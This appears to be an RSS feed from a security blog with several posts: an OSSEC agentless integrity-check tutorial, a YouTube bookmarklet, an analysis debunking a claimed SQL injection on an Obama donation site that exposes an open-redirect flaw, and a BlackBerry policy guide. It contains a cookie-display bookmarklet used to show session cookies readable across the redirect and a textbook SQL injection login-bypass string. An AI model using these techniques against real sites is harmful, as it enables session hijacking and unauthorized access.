t -d " " -f 1` &amp;&amp; echo FWD: `stat --printf "%s:%a:%u:%g" $i`:$md5:$sha1 $i; done; exit md5=`md5sum $i | cut -d " " -f 1` &amp;&amp; sha1=`sha1sum $i | cu
INFO: Starting.
FWD: 14612:644:0:0:509377d820692110c7a6cc83ef2c2da8:bf610c1fa14d84d8b3b44ec80b81788457f77420 /etc/sound/events/gtk-events-2.soundlist
FWD: 22291:644:0:0:d6139aa9554d4997ea25ec2d56095f51:26b9ae7784943eecaeb2dcd4b2ae3a32371d61c8 /etc/sound/events/gnome-2.soundlist
FWD: 83:644:0:0:9f87609f65b51761657c7d67881ae582:de82c03c535e9deb16aed94153883280891da2d7 /etc/modprobe.d/blacklist-firewire
^C^C#
</code></pre>

<p>I only let the script run for a few seconds to see the output, but the key things to notice are the lines beginning with &#8220;INFO&#8221; or &#8220;FWD&#8221;.</p>

<p>Anything that starts with &#8220;<code>INFO</code>&#8221; is logged to the <code>/var/ossec/logs/ossec.log</code> file for debugging and troubleshooting,  we will make use of this later on in this blog.  The &#8220;<code>FWD</code>&#8221; tag at the beginning of the line lets the OSSEC server store the HASH information.  Where this becomes useful is when a file&#8217;s contents change, the HASH will in turn change and OSSEC is able to notify you when this happens.</p>

<p>Now let&#8217;s complete adding our host to the OSSEC configuration.</p>

<pre><code>obsd46# ossec-config --section agentless --add --host root@172.17.20.20 --type ssh_integrity_check_linux \
--state periodic --argv "/bin /etc /sbin"
</code></pre>

<p>Let&#8217;s verify it&#8217;s what we expect.</p>

<pre><code><br /><h2>obsd46# ossec-config --section agentless --show</h2>

type: ssh_integrity_check_linux
frequency: 3600
host: root@172.17.20.20
state: periodic
arguments: /bin /etc /sbin
</code></pre>

<p>Time to restart the deamons for the changes to take effect.</p>

<pre><code>obsd46# /var/ossec/bin/ossec-control stop
Killing ossec-monitord ..
Killing ossec-logcollector ..
ossec-remoted not running ..
Killing ossec-syscheckd ..
Killing ossec-analysisd ..
Killing ossec-maild ..
ossec-execd not running ..
ossec-agentlessd not running ..
OSSEC HIDS v2.2 Stopped
obsd46# /var/ossec/bin/ossec-control start
Starting OSSEC HIDS v2.2 (by Trend Micro Inc.)...
Started ossec-agentlessd...
Started ossec-maild...
Started ossec-execd...
Started ossec-analysisd...
Started ossec-logcollector...
Started ossec-remoted...
Started ossec-syscheckd...
Started ossec-monitord...
Completed.
</code></pre>

<h3 id="agentless-test">Testing agentless</h3>

<p>Checking the log files, we can see what the agentless security monitor has done so far.</p>

<pre><code>obsd46# grep agentless logs/ossec.log
2009/09/21 14:59:49 ossec-agentlessd: INFO: Started (pid: 15320).
2009/09/21 14:59:51 ossec-agentlessd: INFO: Test passed for 'ssh_integrity_check_linux'.
2009/09/21 15:00:53 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Started.
2009/09/21 15:00:53 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Starting.
2009/09/21 15:01:34 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Finished.
</code></pre>

<p>Now we have one last thing to do to see that it&#8217;s working as expected, make a change to the file system on <code>172.17.20.20</code> that the ossec will notice on the next run.  I am going to change the root password for now.</p>

<pre><code>obsd46# ssh -i /var/ossec/.ssh/id_rsa root@172.17.20.20
Last login: Tue Oct  6 14:38:48 2009 from 172.17.20.154
[linux26.ptnsecurity.com ~]# passwd
Changing password for user root.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
[linux26.ptnsecurity.com ~]# exit
</code></pre>

<p>Take a look at the logs for ossec-agentlessd to check the host. Again, we see that it completed another scan.</p>

<pre><code>obsd46# grep agentless logs/ossec.log
2009/09/21 15:18:27 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Started.
2009/09/21 15:18:27 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Starting.
2009/09/21 15:18:46 ossec-syscheckd: INFO: Finished creating syscheck database (pre-scan completed).
2009/09/21 15:19:06 ossec-agentlessd: INFO: ssh_integrity_check_linux: root@172.17.20.20: Finished.
</code></pre>

<p>Note that we also received the following email notifying that the password has changed, a message that is very useful to report.</p>

<pre><code>OSSEC HIDS Notification.
2009 Sep 21 15:19:00

Received From: (ssh_integrity_check_linux) root@172.17.20.20-&gt;syscheck
Rule: 550 fired (level 7) -&gt; "Integrity checksum changed."
Portion of the log(s):

Integrity checksum changed for: '/etc/shadow'
Old md5sum was: '0d92e12c92f3edcf9d8876ea57c5f677'
New md5sum is : '2bd51b61dea17c5682fb2c0cf4f92c63'
Old sha1sum was: '2270c03a920ef8dd50e11cefdef046a8660f7a29'
New sha1sum is : 'd9518ea9022b10d07f81925c6d7f2abb4364b548'

--END OF NOTIFICATION
</code></pre>

<hr />

<p>Week of OSSEC Links:</p>

<ul>
<li>Day 1: <a href="http://www.immutablesecurity.com/index.php/2009/10/25/week-of-ossec-day-1-detecting-world-writable-files/">Detecting World-Writable Files</a></li>
<li>Day 2: <a href="http://www.immutablesecurity.com/index.php/2009/10/26/week-of-ossec-day-2-detecting-new-files/">Detecting New Files</a></li>
<li>Day 3: <a href="http://www.immutablesecurity.com/index.php/2009/10/27/week-of-ossec-day-3-use-variables/">Using Variables</a></li>
<li>Day 4: <a href="http://www.immutablesecurity.com/index.php/2009/10/28/week-of-ossec-day-4-using-groups/">Using Groups</a></li>
<li>Day 5: <a href="http://www.immutablesecurity.com/index.php/2009/10/29/week-of-ossec-day-5-reusing-rule-ids/">Reusing Rule IDs</a></li>
<li>Day 6: <a href="http://www.immutablesecurity.com/index.php/2009/10/30/week-of-ossec-day-6-developing-a-tuning-strategy/">Developing a Tuning Strategy</a></li>
<li>Day 7: <a href="http://www.immutablesecurity.com/index.php/2009/10/31/week-of-ossec-day-7-developing-a-workflow/">Developing a Workflow</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/11/ossec-agentless-to-save-the-day/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Replace watch.swf with warp.swf on YouTube</title>
		<link>http://praetorianprefect.com/archives/2009/10/replace-watch-swf-with-warp-swf-on-youtube/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/replace-watch-swf-with-warp-swf-on-youtube/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 07:13:42 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Asides]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=1218</guid>
		<description><![CDATA[If you replace watch.swf with warp.swf in a url on youtube, a new application shows up that dynamically opens up new nodes of related videos. Its both interesting and bizarre, anda  good way to burn five minutes: <a href="http://www.youtube.com/warp.swf?v=oHg5SJYRHA0">Youtube Warp</a>.]]></description>
			<content:encoded><![CDATA[<p>If you replace /watch with warp.swf in a url on youtube, a new application shows up that dynamically opens up new nodes of related videos. Its both interesting and bizarre, and a good way to burn five minutes: <a href="http://www.youtube.com/warp.swf?v=fVXYzcb3r-w">YouTube Warp</a>.</p>

<p>If you really like it you can install this <a href="javascript:a=location.href.replace('watch','warp.swf');location.href=a;">Warp Bookmarklet</a> to quickly jump to Warp from any YouTube video. Right click on the link &#8216;this bookmarklet&#8217; in the previous sentence and select Add to Favorites or Bookmark this Link, and place the link in the browser&#8217;s toolbar.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/microsoft-ie-6-7-zero-day-aside/">Microsoft IE 6 &#038; 7 Zero-day (Aside)</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/replace-watch-swf-with-warp-swf-on-youtube/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The Barack Obama Donations Site was Hacked…err, no it wasn’t.</title>
		<link>http://praetorianprefect.com/archives/2009/10/the-barack-obama-donations-site-was-hacked%e2%80%a6err-no-it-wasn%e2%80%99t/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/the-barack-obama-donations-site-was-hacked%e2%80%a6err-no-it-wasn%e2%80%99t/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 02:45:53 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=1170</guid>
		<description><![CDATA[This morning a security researcher identified that he was able to carry out a successful SQL Injection attack against donate.barackobama.com, the official campaign donation site of current President Barack Obama, and gain access to credentials such as user names and passwords for persons who have donated to the Obama campaign, as well as administrative user credentials. On his blog he goes on to postulate the further attack possibilities with admin access such as web site defacement, uploading phpshells, and so forth. The problem is that the researcher Unu didn’t find an SQL injection site on donate.barackobama.com, he found one on a <a href="http://www.roosevelt.edu/calendars/calendar.asp">calendar application</a> at Roosevelt University. In the process of finding out how that would be possible, a real web site vulnerability on the Obama web site reveals itself.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/barackobama_pass.JPG"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/barackobama_pass-150x150.jpg" alt="barackobama_pass" title="barackobama_pass" width="150" height="150" class="alignleft size-thumbnail wp-image-1198" /></a>This morning a security researcher identified that he was able to carry out a successful SQL Injection attack against donate.barackobama.com, the official campaign donation site of current President Barack Obama, and gain access to credentials such as user names and passwords for persons who have donated to the Obama campaign, as well as administrative user credentials. On his blog he goes on to postulate the further attack possibilities with admin access such as web site defacement, uploading phpshells, and so forth. The problem is that the researcher Unu didn’t find an SQL injection site on donate.barackobama.com, he found one on a <a href="http://www.roosevelt.edu/calendars/calendar.asp">calendar application</a> at Roosevelt University. In the process of finding out how that would be possible, a real web site vulnerability on the Obama web site reveals itself.</p>

<blockquote>
  <p>“We have a table admin. And in this table we can see that the admin passwords are in PLAIN TEXT! The website is big, with many sections, and there are 19 admins. What else we need to get full access on the website? Nothing. After we log in as admins, we can virtually do anything we want with the website: upload PHPShells, redirects, infect pages with Trojan droppers, [and even deface the whole website],” &#8211; Unu</p>
</blockquote>

<p>Speculative holes become apparent in reading the <a href="http://unu1234567.baywords.com/">blog entry</a>. The blog states and Pangolin shows that the database backend to the site is MS Access.  Why would a professionally built web site (the site was built by a firm called <a href="http://www.bluestatedigital.com/">Blue State Digital</a>), use MS Access to store data? The Obama donation site, like the other sites built by Blue State Digital, is PHP based and appears to use the <a href="http://expressionengine.com/tutorials/">Expression Engine</a> content management system (CMS) by <a href="http://ellislab.com/">EllisLab’s</a>. Expression Engine uses MySQL, another problem. Finally, the donate.barackobama.com web site does not have user ids and passwords, it takes contributions directly from a form the user fills out.</p>

<p><div id="attachment_1198" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/barackobama_pass.JPG"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/barackobama_pass-300x217.jpg" alt="Pangolin screenshot supposedly demonstrating SQL Injection of Obama web site." title="barackobama_pass" width="300" height="217" class="size-medium wp-image-1198" /></a><p class="wp-caption-text">Pangolin screenshot supposedly demonstrating SQL Injection of Obama web site.</p></div>
<br /><br /></p>

<p>Officials with responsibility around the web site responded similarly. Hari Sevugan of the DNC stated that “based on the number of incorrect assertions, we do not think that this information is credible. There has been no security breach”. Jascha Franklin-Hodge the CTO at Blue State Digital followed with: “After careful review, we are confident that the screenshot included in this bug does not contain any data from the barackobama.com or any other site hosted by Blue State Digital, the DNC, or Organizing for America. Microsoft Access is not used in any capacity on the barackobama.com site or servers.”</p>

<p>Not everybody agreed as of this morning. Chet Wisniewski of Sophos posted the following, based largely on Unu&#8217;s other successful exploits: <i>The Tech Herald is reporting that they have spoken to the Democratic National Committee who deny Obama&#8217;s site was hacked. This is not surprising, and I believe is also incorrect. The usernames all match up with Obama staffers and campaign staff, which if the screenshot posted by Unu was mocked up would be a lot more work than most scammers would bother with.</i> 
<br />Source: <a href="http://www.sophos.com/blogs/chetw/g/2009/10/26/obama-vulnerable-sql-injection-headline/">http://www.sophos.com/blogs/chetw/g/2009/10/26/obama-vulnerable-sql-injection-headline/</a></p>

<h3>So what site did Unu the researcher pop?</h3>

<p>Here is <a href="http://www.roosevelt.edu/calendars/iclCalendar.asp">Roosevelt University’s calendar</a>. We were led here by the keywords showing up in the Pangolin screenshot.  Fingerprinting the calendar application at Roosevelt University shows that it is an Active Server Pages application relying on an MS Access database.  Errors on the calendar application reference the MS Access ODBC driver. So we’ve found the MS Access database in question. One of the admin accounts in the screenshots is id: webmaster pw: calAdmin…, or calendar administrator. Looking at the calendar itself on the Roosevelt U web site, the abbreviation CCL shows up, standing for “Center for Campus Life”.  Looking again at the list of ids, there is a cclschadmin, likely Center for Campus Life scheduling administrator or something similar.</p>

<h3>Why did Unu start at one site and end up popping another?</h3>

<p>Google cache provides us the answer.</p>

<p><div id="attachment_1205" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/google_ru.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/google_ru-300x54.jpg" alt="How the sites are linked." title="google_ru" width="300" height="54" class="size-medium wp-image-1205" /></a><p class="wp-caption-text">How the sites are linked.</p></div>
<br />
For some reason the following URL was valid before Blue State Digital made a fix to have only a specific allow list. The URL will load whatever page follows the /smartproxy/ subdirectory.
<br /><br />

https://donate.barackobama.com/page/smartproxy/www.roosevelt.edu/calendars/iclCalendar.asp

<br /><br />
This not so smart redirect function is perhaps in place to allow webmasters to code pages that refer to resources like images, etc. without having to worry about content hosted on secure (with an SSL certificate) versus unsecure web servers and the browser error messages that come up with mixed content security. Or it may simply be to capture click metrics when people are leaving the site for outside resources. There are a number of reasons people set up such site redirects. Regardless, a web site should almost never allow a user to fill in where the site will redirect to under its own domain. We’ll get into why in the next section.
There is a common resource being referenced in /home/bsdrelease/framework called smartproxy.inc.php. This is identified because on some of the sites created by Blue State Digital (assumed to be the /bsd), are outputting their PHP errors as shown below:</p>

<p><div id="attachment_1203" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/dccorg.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/dccorg-300x198.jpg" alt="Identifying the SmartProxy code as common to all web sites by Blue State Digital" title="dccorg" width="300" height="198" class="size-medium wp-image-1203" /></a><p class="wp-caption-text">Identifying the SmartProxy code as common to all web sites by Blue State Digital</p></div>
<br />
This allows us to identify other web sites with the same architecture. A quick google for /bsdrelease/framework brings up dccc.org, onewisconsinnow.org, udallforcolorado.com, progressivebookclub.com, progressnowcolorado.org, and other Democrat affiliated web sites. So any problem identified in one web site will likely work on the other web sites using the same common code base. In production web sites, PHP’s error reporting should be turned off.</p>

<h3>So what’s the vulnerability?</h3>

<p>It is not nearly as headline grabbing as the potential to steal login credentials from Obama donors, but until it was corrected at some point recently, the ability to redirect to any web site from donate.barackobama.com or any of the other sites mentioned above was not a good thing. Why?</p>

<p>First, it is a common technique of phishers or anyone attempting to get users to input information at a URL to try to make the domain look as legitimate as possible. When a bad actor can send out e-mails that are prefaced with the actual Obama donation site URL, but actually load any other web site to accept information, it makes masquerading as a legitimate web site that much easier.</p>

<p>Second and more important though is that the cookies from any of these web sites can be read by the site that is redirected to, because according to the browser you are still under donate.barackobama.com. On sites that don’t have credentials, like the donate site, this is not really an issue. But other sites in the family, such as my.barackobama.com do accept user registrations, and have login/password authentication.  A cookie called PHPSESSID is set. If a bad actor can get a user to click on a link under the my.barackobama.com domain that actually redirects to his web site, he can read this session cookie, set it himself, and be logged in as that user on the barackobama.com web site. How hard would it be to get logged in users on the site to click a link? You are allowed to set up a blog on the web site, write one story and direct people to a link in the story.</p>

<p>At one point last year, you would not even have had to do that, the community blogs section of the site was redirecting to Hilary Clinton’s web site because of a vulnerability where HTML characters were allowed in the blog entries. This allowed a bad actor to inject Javascript into the pages which would be executed as part of the page load by subsequent users. The Javascript included a redirect, and Barack Obama was now advertising for Hilary Clinton based apparently on the actions of a mischievous Illinoisan.</p>

<h3>Want to try reading your my.barackobama.com session cookie on another web site?</h3>

<p>Create an id at my.barackobama.com. Force the site to redirect using the /smartproxy/, for example: http://my.barackobama.com/page/smartproxy/www.google.com. You’re now on Google, but check out what cookies you can read. There are a number of ways to do this but here is an easy one, a Javascript bookmarklet:</p>

<pre><code>&lt;a href=
         "javascript:(function(){x=window.open();x.document.write(&amp;#39;%3Cht&amp;#39;+&amp;#39;
ml%3E/r%3Che&amp;#39;+&amp;#39;ad%3E%3Ctitle%3EDisplay%20Cookies%3C/title%3E%3C/he&amp;#39;+&amp;#39;ad
%3E%3Cbo&amp;#39;+&amp;#39;dy%3E&amp;#39;);if%20(document.cookie%20==%20&amp;#39;&amp;#39;)%20x.document.write(
&amp;#39;
No%20Cookies%20Found&amp;#39;);%20else%20{thisCookie%20=%20document.cookie.split(&amp;#39;;%20&amp;#39;);
%20for%20(i=0;%20i%3CthisCookie.length;%20i++)%20{x.document.write(thisCookie[i]%20+%20&amp;#39;%3Cb
r%20//%3E&amp;#39;);}}x.document.write(&amp;#39;%3C/bo&amp;#39;+&amp;#39;dy%3E%3C
/ht&amp;#39;+&amp;#39;ml%3E&amp;#39;);x.document.close();})()"&gt;
            Display Cookies&lt;/a&gt;

</code></pre>

<p>To add the bookmarklet, right click on <a href=
         "javascript:(function(){x=window.open();x.document.write(&#39;%3Cht&#39;+&#39;
ml%3E/r%3Che&#39;+&#39;ad%3E%3Ctitle%3EDisplay%20Cookies%3C/title%3E%3C/he&#39;+&#39;ad
%3E%3Cbo&#39;+&#39;dy%3E&#39;);if%20(document.cookie%20==%20&#39;&#39;)%20x.document.write(
&#39;
No%20Cookies%20Found&#39;);%20else%20{thisCookie%20=%20document.cookie.split(&#39;;%20&#39;);
%20for%20(i=0;%20i%3CthisCookie.length;%20i++)%20{x.document.write(thisCookie[i]%20+%20&#39;%3Cb
r%20//%3E&#39;);}}x.document.write(&#39;%3C/bo&#39;+&#39;dy%3E%3C
/ht&#39;+&#39;ml%3E&#39;);x.document.close();})()">
             this link</a> and select Add to Favorites or Bookmark this Link. When on the redirected Google site, click the bookmark you’ve created, you should see your PHPSESSID from the my.barackobama.com web site.</p>

<p>This problem now appears to be fixed for the most part.  <a href="https://donate.barackobama.com/page/smartproxy/www.google.com">Google as a redirect still works</a>, but many other sites at this point will not, producing the following error:</p>

<pre><code><br />ERROR: attempt to proxy page from a host not on the allow list. access denied.

</code></pre>

<p>This would indicate that a white list of allowed hosts has been set up.</p>

<h3>Not the Same Server</h3>

<p>The Tech Herald reported the following earlier today:</p>

<p><i>“Unu has apparently accessed a database on the same server that is unrelated to President Obama’s site…If so, we asked why an SQLi from President Obama’s site allowed access to the Access database…While this is pure speculation on our part, perhaps the DNC is correct. It is possible that Unu has in fact accessed the database for a different site entirely that resides on the same server” </i></p>

<p>Source: <a href="http://www.thetechherald.com/article.php/200944/4682/Researcher-discloses-SQL-Injection-flaw-on-barackobama-com">http://www.thetechherald.com/article.php/200944/4682/Researcher-discloses-SQL-Injection-flaw-on-barackobama-com</a></p>

<p>The Roosevelt University website is hosted in Englewood Colorado by NTT America, the Barack Obama donation website is hosted in Washington, D.C. by Internap Network Services on behalf of Blue State Digital. The web sites are not hosted on the same server.</p>

<h3>Who’s Unu?</h3>

<p>Unu, apparently from Bucuresti Romania, says that for him penetration testing and finding vulnerabilities is a hobby and a passion. His blog, a testament to the results of his hobby, is a compilation of the results of successful SQL Injection attacks against web sites like BNP Paribas, Credit Agricole in France, Royal Bank of Scotland’s WordPay, Poste Italiane (the Italian Postal Service) and others as well as examples of successful parameter manipulation and other web application vulnerabilities.  He appears to practice a version of responsible disclosure in that he has notified the organizations mentioned on the blog and explained the problems. <a href="http://unu1234567.baywords.com/">His blog</a>, and its disclosures, are interesting reading for the security professional and thus we encourage you to have a look.</p>

<p>The site he publishes to is hosted on <a href="http://baywords.com/">Baywords</a>, a blog platform notable in that it was formed to combat what it sees as censorship by other platforms such as WordPress (the platform founders state they set up the service after a friend of theirs was closed down by Wordpress for a TOS violation.</p>

<h3>What is Pangolin?</h3>

<p>Pangolin is an automated SQL Injection tool developed by NOSEC ostensibly to assist in penetration testing. The tool can be used to detect SQL injection vulnerabilities on a web application, and upon detection allow the user to perform certain operations such as DBMS fingerprinting, retrieving user ids and hashes, dump tables, run SQL statements, and so forth. NOSEC is a web site hosted by a firm now called Connaught Cup in Shenzhen, China.</p>

<h3>What is SQL Injection?</h3>

<p>SQL Injection is basically a code injection technique that attempts to get an SQL query to execute via data inputted into a field from the client to the application. For example, let&#8217;s say we have a piece of code like this:</p>

<pre><code>SELECT id
FROM logins
WHERE username = '$username'
AND password = '$password’
</code></pre>

<p>The fields $username and $password are coming from the browser. Our user normally logs in by entering John as user id and &#8216;Password1&#8242; as his password (he shouldn&#8217;t have a weak password like that, but he does). The query analyzes it, sees the $username = John and checks to make sure password = Password1. The password statement evaluates as true, and the web application authenticates or logs in the user.</p>

<p>A bad actor comes along and inputs John as the user id ,but instead of a password he fills in <i>anything&#8217; OR &#8216;x&#8217;='x</i>. Let&#8217;s see how our code evaluates this:</p>

<pre><code>SELECT id
FROM logins
WHERE username = 'Joe'
AND password = 'anything' OR 'x'='x'
</code></pre>

<p>Now the AND password portion of the query is always returning true, not just when the password is actually the correct one. That&#8217;s because we&#8217;ve changed the execution of the query, now it reads that password can equal anything OR x = x.  x will always equal x, they are equivalent values, thus the password = statement evaluates to true and the web application authenticates the user even though a proper password was never supplied.</p>

<p>SQL Injections in practice get much more complex than this, but the basic premise remains the same, attempt to get the web application to execute a SQL query in a way unanticipated by the web site&#8217;s developers in order to get the application to reveal information or perform a database action.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/">Turning an ATM into a Slot Machine</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/the-barack-obama-donations-site-was-hacked%e2%80%a6err-no-it-wasn%e2%80%99t/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Where is your BES Policy?</title>
		<link>http://praetorianprefect.com/archives/2009/10/where-is-your-bes-policy/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/where-is-your-bes-policy/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 16:23:52 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[data leak prevention]]></category>
		<category><![CDATA[BES]]></category>
		<category><![CDATA[blackberry]]></category>
		<category><![CDATA[exchange]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[IT]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[policy]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=1139</guid>
		<description><![CDATA[Several months ago, users of a wireless carrier in the United Arab Emirates (UAE) were sent an SMS message to their Blackberry devices instructing them to install a software patch that would resolve recent network trouble they’ve been experiencing. The patch turned out to be spyware (Etisalat.A[MA]) and would intercept the user’s email, sending the [...]]]></description>
			<content:encoded><![CDATA[<p>Several months ago, users of a wireless carrier in the United Arab Emirates (UAE) were sent an SMS message to their Blackberry devices instructing them to install a software patch that would resolve recent network trouble they’ve been experiencing. The patch turned out to be spyware (<a href="http://threatcenter.smobilesystems.com/?p=1001" target="_blank">Etisalat.A[MA]</a>) and would intercept the user’s email, sending the messages to a listening agent inside the Etisalat network.</p>

<p>About one month ago, a problem in the Blackberry browser left devices open to attack due to a certificate notification flaw. An <a href="http://www.blackberry.com/btsc/viewContent.do?externalId=KB19552" target="_blank">advisory</a> from Research in Motion details how a malicious user could spoof a “trusted” website then use a phishing technique to send users to that site using SMS or email.</p>

<p>A malformed SMS message causing a memory corruption error could be used to cause a denial of service or execution of arbitrary code on Apple’s iPhone (<a href="http://support.apple.com/kb/HT3754" target="_blank">CVE-2009-2204</a>). Although not related to Blackberry, I wanted to get the point across that mobile devices are beginning to see their fair share of vulnerabilities which could lead to malicious activity.</p>

<p><img style="border-right-width: 0px; margin: 0px 20px 0px 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ScreenHunter_18 Oct. 26 10.36" border="0" alt="ScreenHunter_18 Oct. 26 10.36" align="left" src="http://praetorianprefect.com/wp-content/uploads/2009/10/ScreenHunter_18Oct.2610.36_thumb.gif" width="177" height="244" />Turning our focus back to the Blackberry, a director for Hermis Consulting in Jakarta, Indonesia recently wrote an application for the Blackberry which can turn the handheld into a remote bugging device.     <br />The software is called <a href="http://chirashi.zensay.com/2009/10/remote-listening-for-the-blackberry/" target="_blank">PhoneSnoop</a> and was written to demonstrate how an “attacker can activate the microphone of a Blackberry handheld and listen to sounds near or around it.” There are currently no stealth or spyware aspects of the software, but it shows how the capabilities of a Blackberry could be used for malicious purposes.</p>

<p>These issues remind me of my previous position, managing a global infrastructure team for a financial company.&#160; Exchange and Blackberry services were under our umbrella of responsibilities.&#160; When I first arrived many years ago, as with most companies that are victims of rapid growth, IT policies were non-existent.&#160; Though unpopular with the users, I had to have a BES policy implemented, and one that took quite a bit of control from the user. From password policies to WiFi disabling, where is your BES policy?</p>

<p>&#160;</p>

<p><img style="border-right-width: 0px; margin: 0px 20px 20px; float: right; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="blackberry-bold-att-single_tall" border="0" alt="blackberry-bold-att-single_tall" align="right" src="http://praetorianprefect.com/wp-content/uploads/2009/10/blackberryboldattsingle_tall.jpg" width="123" height="175" /></p>

<p><em>Note: A BES (Blackberry Enterprise Software) is middleware software which connects to your enterprise messaging solution (such as Microsoft Exchange or IBM Lotus Domino) and redirects email and PIM information to and from Blackberry mobile devices. </em></p>

<p><em>Note: A BES IT Policy is configured from the BES and are assigned to the Blackberry devices over the air.&#160; Policies can be assigned to users and user groups. The default installation does not enforce policies which should definitely be enabled and are best practices on any platform or device. See the bottom of this post for the KB with instructions on how to create and apply policies.</em></p>

<h4>At the bare minimum, you should have these basic policies set:</h4>

<ul>   <li>Password Required Rule – True </li>    <li>User Can Change Time – False </li>    <li>User Can Disable Password – False </li>    <li>Password Pattern Checks – Require at least 1 alpha and 1 numeric </li>    <li>Minimum Password Length – 7 characters </li>    <li>Maximum Password Age – 30 or 60 days </li>    <li>Set Password Timeout – 10 minutes </li>    <li>Set Maximum Password Attempts – 10 </li>    <li>Maximum Password History – 6 </li>    <li>Set Owner Info – Customize </li>    <li>Set Owner Name – Customize </li>    <li>Lock Owner Info – Customize </li>    <li>Remote Wipe Reset to Factory Defaults &#8211; True </li> </ul>

<h4>Control Upgrades:</h4>

<ul>   <li>Allow Non Enterprise Upgrade – False </li>    <li>Disallow Device User Requested Upgrade – True </li> </ul>

<h4>Camera Options:</h4>

<ul>   <li>Disable Photo Camera – True&#160; </li>    <li>Disable Video Camera – True </li> </ul>

<h4>Application Control:</h4>

<ul>   <li>Disable Application Center – True </li>    <li>Allow Application Down Services – False </li>    <li>Disallow Third Party Application Downloads – True </li> </ul>

<h4>Other Policies I Like:</h4>

<ul>   <li>Disable USB Mass Storage – True </li>    <li>Disable Blackberry Messenger – True </li>    <li>Disable Bluetooth – True </li>    <li>Allow Application Download Services – False </li>    <li>Allow Hotspot Browser – False </li>    <li>Allow IBS Browser – False </li> </ul>

<h4>Too Much?</h4>

<p>Now, these policies are starting to sound too strict at a glance; but, the purpose of the device is for users to have access to their email, contacts and calendars anywhere and to have a mobile phone they can be reached at any time.&#160; Cameras, Hotspots and transferring photos and music using USB mass storage are features that are not necessary. If you have legitimate business needs for these features, than you can enable them for certain user groups using a policy.</p>

<p>The policies mentioned are a very small fraction of what is available. I’d like to hear which policies you find useful in your environment, or which you find to be more harm than good.</p>

